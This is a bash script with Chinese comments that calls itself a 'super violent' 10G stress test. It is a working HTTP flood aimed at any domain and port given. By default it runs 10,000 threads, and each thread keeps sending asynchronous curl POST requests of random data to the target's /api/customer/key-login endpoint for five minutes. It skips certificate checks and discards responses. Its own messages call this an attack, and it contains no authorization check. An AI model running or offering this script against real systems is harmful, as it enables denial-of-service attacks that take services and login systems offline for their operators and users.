#!/bin/bash
# 超级暴力10G口压测脚本
# 用法: ./super_flood.sh 目标域名 端口 线程数 持续时间(秒)

TARGET="$1"
PORT="${2:-443}"
THREADS="${3:-10000}"
DURATION="${4:-300}"

echo "========================================"
echo "  超级暴力压测启动"
echo "  目标: $TARGET:$PORT"
echo "  线程: $THREADS"
echo "  时间: $DURATION 秒"
echo "========================================"
echo "警告: 这将消耗大量带宽和系统资源！"
echo "按 Ctrl+C 停止"
echo "========================================"

# 定义攻击函数
attack() {
    local thread_id=$1
    local end_time=$(( $(date +%s) + DURATION ))
    local count=0
    
    while [ $(date +%s) -lt $end_time ]; do
        # 生成随机数据
        RAND_DATA=$(head -c 1024 /dev/urandom | base64 | tr -d '\n')
        JSON_DATA="{\"key\":\"$RAND_DATA\"}"
        
        # 发送请求（不等待响应，异步）
        curl -X POST \
             -H "Content-Type: application/json" \
             -H "Accept: application/json" \
             -d "$JSON_DATA" \
             -k \
             -s \
             -o /dev/null \
             --max-time 1 \
             --connect-timeout 1 \
             "https://$TARGET:$PORT/api/customer/key-login" \
             >/dev/null 2>&1 &
        
        count=$((count + 1))
        
        # 每100个请求输出一次
        if [ $((count % 100)) -eq 0 ]; then
            echo "[线程 $thread_id] 已发送 $count 请求"
        fi
        
        # 控制并发进程数
        if [ $(jobs -rp | wc -l) -gt 500 ]; then
            wait -n
        fi
    done
    
    echo "[线程 $thread_id] 完成，总共 $count 请求"
}

# 启动所有线程
for i in $(seq 1 $THREADS); do
    attack $i &
done

# 显示进度
echo "攻击进行中..."
echo "按 Ctrl+C 停止"

# 等待
wait

echo "========================================"
echo "攻击完成"
echo "========================================"